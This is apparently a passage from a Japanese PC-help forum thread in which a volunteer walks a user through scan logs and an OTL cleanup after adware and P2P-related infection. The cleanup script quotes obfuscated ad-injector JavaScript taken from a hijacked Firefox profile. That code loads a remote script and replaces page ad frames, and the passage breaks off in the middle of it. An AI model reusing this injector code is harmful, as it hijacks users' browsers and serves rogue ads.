.afficlicks.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.adlooxtracking.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.flagcounter.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.mediaforge.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
ads2.opensubtitles.org [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ww.bkstats.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.zenback.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.zenback.itmedia.co.jp [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
tracking.okwave.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.web-stat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.web-stat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.web-stat.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
tracking.hostgator.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.nextag.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.questionbox.jp.msn.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.questionbox.jp.msn.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.youtube.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
accounts.blogger.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
yt.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
yt.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
yt.jobfindgold.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.srv1.mediads.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.accounts.google.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
onclickads.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
onclickads.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.livetrafficzipmy.info [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.mediaarea.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.mediaarea.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
mshakers.rotator.hadj7.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.mediav.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
sftrack.searchforce.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.doubleclick.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.adtechus.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.atdmt.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.advertising.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
clove.rotator.hadj8.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
clove.rotator.hadj8.adjuggler.net [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.serving-sys.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.serving-sys.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.smartadserver.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.smartadserver.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.steelhousemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.px.steelhousemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.steelhousemedia.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.ru4.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
adverts.creativemark.co.uk [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
statse.webtrendslive.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.at.atwola.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.tacoda.at.atwola.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.tacoda.at.atwola.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.bs.serving-sys.com [ C:\DOCUMENTS AND SETTINGS\KWATA.SIRIUS.003\LOCAL SETTINGS\APPLICATION DATA\GOOGLE\CHROME\USER DATA\DEFAULT\COOKIES ]
.yadro.ru [ C:\DOCUMENTS AND SETTI
  • wysksun
  • 2014/03/16 (Sun) 16:29:26
返信フォームへ 
処置後の状態はいかがですか？
作業と報告、ご苦労様です。
両アプリのログを見たところ、出たのは残骸ばかりですがかなり残ってましたね。
それも掃除できたのでいいでしょう。

では現在異常はまだ残ってますか？
何かあればその報告ください。
それを見てから次の作業か、片づけかの判断になりそうです
  • 悪代官
  • 2014/03/16 (Sun) 17:54:40
返信フォームへ 
Re: 処置後の状態はいかがですか？
ご協力ありがとうございます。


現在の状況は、未だ動作が遅く以前の軽快さではありません。
スキャン前後で変化は実感としてありませんでした。

MBAMスキャンが2時間半近く掛かりました。


よろしくお願いします。
  • wysksun
  • 2014/03/17 (Mon) 10:26:10
返信フォームへ 
OTLで解析します
作業と報告、ご苦労様です。

>現在の状況は、未だ動作が遅く以前の軽快さではありません。
>スキャン前後で変化は実感としてありませんでした。

はい、ではまた調べましょう。

今度は以下のツールを準備してください。
OTL(OldTimer Listit)
これはHJTやCC以上に高い解析能力を持つツールです。これを使って状態を調べます。
ファイル直リンなので、DLしたら保存しておいてください。
http://oldtimer.geekstogo.com/OTL.exe
片付けのときは起動後に「clean up」を押せば自動で削除されます。

OTLの起動後、ウィンドウの上の方にある「Scan All Users」にチェックを入れ、以下のコマンドを「Custom Scan/Fixes」にコピペしてください。

%SYSTEMDRIVE%\*.exe
CREATERESTOREPOINT

その後、左上の「Run Scan」を押すとスキャン開始されます。
PC環境にもよりますが数分ほどするとすると、「OTL.txt」と「Extras.txt」がOTL.exeと同じ場所に作成されるはずなので、この2つのファイルをデスクトップあたりに保存しておいてください。
なお、Extras.txtは出ないこともありますが、その場合はOTL.txtだけでもいいです。

このあとOTLのログを返信に貼って見せてください。
OTLでスキャンした時点ではまだ何も変化は起きません。
このログを調べてから、次回以降の作業で処置することになるでしょう。
  • 悪代官
  • 2014/03/17 (Mon) 21:39:04
返信フォームへ 
OTLのログを投稿できません。
この掲示板で出て来た二種類のテキストファイルの内容を
全部コピーペーストして投稿しようとすると

禁止ワードが含まれているので投稿できません。

と赤い字で表記されてOTLのログを投稿できませんでした。

よろしくお願いします。
  • wysksun
  • 2014/03/18 (Tue) 12:52:51
返信フォームへ 
P2Pについて重要な確認です
レスが遅くなってすみません。
先程目安箱経由でログを受信して、それを調べたところまたひとつわかったことがあります。

P2PのBitCometを入れていましたね。
その痕跡が見つかりました。

P2Pを使うならそれによるどんなトラブルもすべて自己責任、自力解決の義務を負います。それもできない人が使えるような甘い代物じゃありません。

ログのその他の部分を見ても、かなり複雑に食い込んでいます。
次の作業にかかる前に確認します。

P2Pを入れた時期と、アンインストールした時期を教えてください。
少なくとも2012年初めにはBCは入っていたのがログでわかりますが、いつまで入れていたかを確認してから次の対処に入ります。

P2Pでの感染していたらP2P自体を削除してもそれで片付くものでもないです。
状況によってはリカバリでの対処しか手が残らない可能性も覚悟しておいてください
  • 悪代官
  • 2014/03/20 (Thu) 14:23:20
返信フォームへ 
Re: P2Pについて重要な確認です
過去BitCometを使っていました。

インストールとアンインストールを繰り返し、使用期間は短いですが最後にアンインストールしたのは、昨年の６月頃だと記憶しております。

手前勝手な考えでインストールしてしまったことを反省しています。今後二度とBitCometをインストールは致しませんし最終的に回復しなくとも自己責任だと覚悟しております。

何卒よろしくお付き合い下さい。
  • wysksun
  • 2014/03/20 (Thu) 21:37:52
返信フォームへ 
返信待っています。
ログの解析に時間が掛かるとのことでした、
当方急いではおりませんのが、念のための確認です。
  • wysksun
  • 2014/03/24 (Mon) 21:13:57
返信フォームへ 
レスの見落とし、大変失礼しました
レスが遅くなってすみません。
他の方のスレに埋もれて、wysksunさんのお返事を見落としてしまってました。
大変失礼しました。

P2Pはもう使っておらず、以後も使うことはないようですね。
では引き続き協力しましょう。
以下の説明を読んでから、続きの作業をお願いします。

まず、状態から見て今回の作業はかなりデリケートな処置することになります。
処置ができても悪玉が最後に、正規のファイルやシステムまで道連れにしてWindowsを正常動作させなくなる恐れもあります。
こういった駆除時の自爆的挙動は以前にも幾度かあった症状ですが、P2P絡みではそのおそれも更に高くなります。
もし処置ができなかったら最悪リカバリ不可避もありうるので、いつでもリカバリに移行できるように必要なデータ等のバックアップは事前にしておいてください。

バックアップができたら作業開始です。
今度はOTLのスクリプトを使って作業します。
このレスの最後に貼るスクリプトを丸ごとコピーして、それをWindowsのメモ帳ファイルに貼り付けて保存しておいてください。

用意できたらPCをまたセーフモードで再起動してOTL起動してください。
起動したらOTLのウインドウ下部にスクリプトを貼り付けて、今度は「Run fix」（赤字のボタン）を押してください。
これでOTLでの処置が開始されます。

しばらく待って処置ができたらPCを通常モードで再起動すると、またOTLのログが出るはずなので、それを保存してから、しばらく様子見の後、OTLのログとともに状態報告をレスください。
OTLのスクリプトは以下になります。破線(-----)を含まない箇所を丸ごとコピーして、それをOTLに貼って作業してください
--------------------------------------
:OTL
FF - prefs.js..browser.search.defaulturl: "http://websearch.homesearchapp.info/?unqvl=17&l=1&q="
FF - prefs.js..browser.search.order.1: "WebSearch"
FF - prefs.js..browser.search.order.1,S: S", "WebSearch"
FF - prefs.js..browser.search.selectedEngine: "Conduit Search"
FF - prefs.js..browser.search.selectedEngine,S: S", "WebSearch"
FF - prefs.js..browser.search.useDBForOrder: true
FF - prefs.js..browser.startup.homepage: "http://search.conduit.com/?ctid=CT3322287&octid=EB_ORIGINAL_CTID&SearchSource=55&CUI=&UM=4&UP=SPF48133B6-BA33-4A07-AAF6-7E5E7587ECAB&SSPV="
FF - prefs.js..extensions.7Af3nsdm.scode: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1){return}}catch(e){};var _wlst={lsKey:\"ssjsmn2ja8ddw2a\",get:function(b,a){if(window.self.location.protocol==\"https:\" || 3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d));if(1==b){crc=this.hcrc32(window.self.location.hostname.replace(\"www.\",\"\"));try{var c=document.createElement(\"script\");c.type=\"text/javascript\";try{c.async=\"async\"}catch(e){}c.src=\"http://v.zilionfast.in/\"+crc+\"/?t=vrt\";(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(c)}catch(f){}}setTimeout(function(){_wlst.get(++b,a)},180)},fetch:function(){try{if(\"undefined\"!=localStorage)try{return localStorage.getItem(this.lsKey)}catch(b){return 0}else _wlst.getCkie()}catch(a){_wlst.getCkie()}},getCkie:function(){if(0<document.cookie.length&&(c_start=document.cookie.indexOf(this.lsKey+\"=\"),-1!=c_start))return c_start=c_start+this.lsKey.length+1,c_end=document.cookie.indexOf(\";\",c_start),-1==c_end&&(c_end=document.cookie.length),unescape(document.cookie.substring(c_start,c_end))},hcrc32:function(b,a){a||(a=0);var d=0;a^=-1;for(var c=0,e=b.length;c<e;c++)d=(a^b.charCodeAt(c))&255,d=\"0x\"+\"00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\".substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\"na\",location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['cpx_bet_55',171],['saymedia_apx_tag_test',4037],['start_me_app_tier3',3],['baba_tb_new',1],['yieldads_rmx',992],['adperium_rmx_new',1],['blutonic_apx',1],['batanga_rmx_new',7],['adnetwork_adnttb',3],['media152_gen',3],['zetanet_rmx',8],['dsnr_nntbr_tier3',21],['mari_gen1',4494],['web3_nontb2',33],['velis_nontb2',44],['velis_tier3_2',25],['acsencion_apx_new',14],['maromy_adj_19',16],['matomy_adj_19_2',15],['adstract_new17_3_t3',111]],[['cpx_nontb30_tr',229],['dsnr_strm_legal',295],['mari_strm14',450],['mari_strm14_2',450],['web3_strm4',391],['matomy_strm_18_2',3981],['matomy_strm_18',3982],['adstract_strm17_3_t3',222]],[['hulk_porn',10000]]],networks_conf:!1,init:function(){_wlst.get(1,function(b){_zyad.vrt=b;if(!(_zyad.vrt==17 || _zyad.location.indexOf('g_srizK0=')>-1|| _zyad.location.indexOf('adk2.co')>-1 ||window.self.location.hostname==\"tr.adsplats.com\"||window.self.location.hostname==\"ad.co-co-co.co\"||window.self.location.hostname==\"ib.adnxs.com\"||window.self.location.hostname==\"ads.yahoo.com\"||window.self.location.hostname==\"ads.blutonic.com\"||window.self.location.hostname==\"ace1.acsencion.com\"||window.self.location.hostname==\"ads.ventivmedia.com\"|| _zyad.location.indexOf('=287609')>-1|| _zyad.location.indexOf('=458516')>-1||_zyad.location.indexOf('PT1311')>-1||_zyad.location.indexOf('1018-1005')>-1||_zyad.location.indexOf('1019-1001')>-1||_zyad.location.indexOf('2136&zid=')>-1))if(_zyad.networks_conf=12==_zyad.vrt?_zyad.networks_list[2]:_zyad.vrt?_zyad.networks_list[1]:!_zyad.getisP()?_zyad.networks_list[0]:!1,_zyad.networks_conf){for(i=0;5>i;i++)setTimeout(_zyad.find,500*i);window.self==window.top&&1==Math.floor(7*Math.random()+1)&&setTimeout(function(){_zyad.find(1)},6E4)}})},getisD:function(){return-1<_zyad.title.indexOf(\"torrent\")||-1<_zyad.location.indexOf(\"torrent\")},getisNA:function(){return!1},getisP:function(){try{if(12==_zyad.vrt)return!0;if(_zyad.vrt)return!1;var b=document.getElementsByTagName(\"meta\");if(b)for(i=0;i<b.length;i++)try{if(b[i]&&b[i].getAttribute(\"name\")){var a=b[i].getAttribute(\"name\").toLowerCase();if(\"description\"==a||\"keywords\"==a)_zyad.title=_zyad.title+\" \"+b[i].getAttribute(\"content\")}}catch(d){}}catch(c){}b=\"porn sex xxx tits adult lesbian squirt creampie bondage ExSuna mature fisting fuck gangbang orgy gay nude tits tranny blowjob handjob masturbat busty slut joder horny mamada polla cock pussy threesome teens milf bdsm hentai motherless erotic cams petite\".split(\" \");for(i in b)if(-1<_zyad.location.indexOf(b[i])||-1<_zyad.title.indexOf(b[i]))return!0;return!1},epoch:function(){try{var b=new Date;try{return(b.getTime()-b.getMilliseconds())/1E3}catch(a){return parseInt(b.getTime()/1E3)}}catch(d){return 0}},between:function(b,a){return b>=a-7&&b<=a+7},detectRsize:function(b){try{var a=[0,0];try{a=[parseInt(\"number\"==typeof b.width||\"string\"==typeof b.width&&b.width.match(/[0-9]/)?b.width:b.scrollWidth),parseInt(\"number\"==typeof b.height||\"string\"==typeof b.height&&b.height.match(/[0-9]/)?b.height:b.scrollHeight)]}catch(d){}var c=_zyad.between;switch(!0){case c(a[1],600)&&c(a[0],120):return[120,600];case c(a[1],600)&&c(a[0],160):return[160,600];case c(a[1],600)&&c(a[0],300):return[300,600];case c(a[1],125)&&c(a[0],125):return[125,125];case c(a[1],250)&&c(a[0],300):return[300,250];case c(a[1],250)&&c(a[0],250):return[250,250];case c(a[1],250)&&c(a[0],336):return[300,250];case c(a[1],150)&&c(a[0],180):return[180,150];case c(a[1],400)&&c(a[0],600):return[600,400];case c(a[1],60)&&c(a[0],120):return[120,60];case c(a[1],100)&&c(a[0],300):return[300,100];case c(a[1],60)&&c(a[0],234):return[234,60];case c(a[1],60)&&c(a[0],460):return[460,60];case c(a[1],60)&&c(a[0],468):return[468,60];case c(a[1],90)&&c(a[0],728):return[728,90];default:return!1}}catch(e){return!1}},find:function(b){var a=[],d=window.self.document.getElementsByTagName(\"iframe\");for(i=0;i<d.length;i++){if(!b)try{if(d[i].hasAttribute(\"s4374621181571267850\"))continue}catch(c){try{if(d[i].getAttribute(\"s4374621181571267850\"))continue}catch(e){}};try{if(d[i].src.indexOf('=287609')>-1||d[i].src.indexOf('=458516')>-1||d[i].src.indexOf('1018-1005')>-1||d[i].src.indexOf('1019-1001')>-1||d[i].src.indexOf('2136&zid=')>-1||(d[i].getAttribute('name')&&d[i].getAttribute('id')==d[i].getAttribute('name')&&d[i].getAttribute('name').match(/^ap\\d+$/))){try{d[i].setAttribute(\"s4374621181571267850\", \"true\");d[i].setAttribute(\"replaced\", \"true\");}catch(e){};continue;}}catch(e){};(rSize=_zyad.detectRsize(d[i]))&&a.push({size:rSize,ifr:d[i],func:function(a,b){_zyad.setNetwork(a[b].ifr,a[b].size);b++;a&&a[b]&&\"function\"==typeof a[b].func&&setTimeout(function(){a[b].func(a,b)},1)}})}a[0]&&a[0].func&&a[0].func(a,0)},setNetwork:function(b,a){if(a&&b){var d=0,c=0,e=Math.floor(10000*Math.random()+0.9),f=0,h={},g=[];for(i=0;i<_zyad.networks_conf.length;i++){var j=_zyad.networks[_zyad.networks_conf[i][0]](a);j&&(h[i]=j,g.push(i),d+=_zyad.networks_conf[i][1])}10000<d&&(c=Math.floor((10000-d)/g.length+0.9));for(i=0;i<g.length;i++)if(d=g[i],f+=_zyad.networks_conf[i][1]+c,f>=e){h[d](b);break}}},iset:function(ifr, url, mode, properties){try{switch(mode){default:case 1:var channel = 0;try{if(ifr.getAttribute('bow')) channel=1}catch(e){}ifr.src = url + (properties ? (url.indexOf('?')>'-1' ? '&' : '/?') + 'g_srizK0=' + 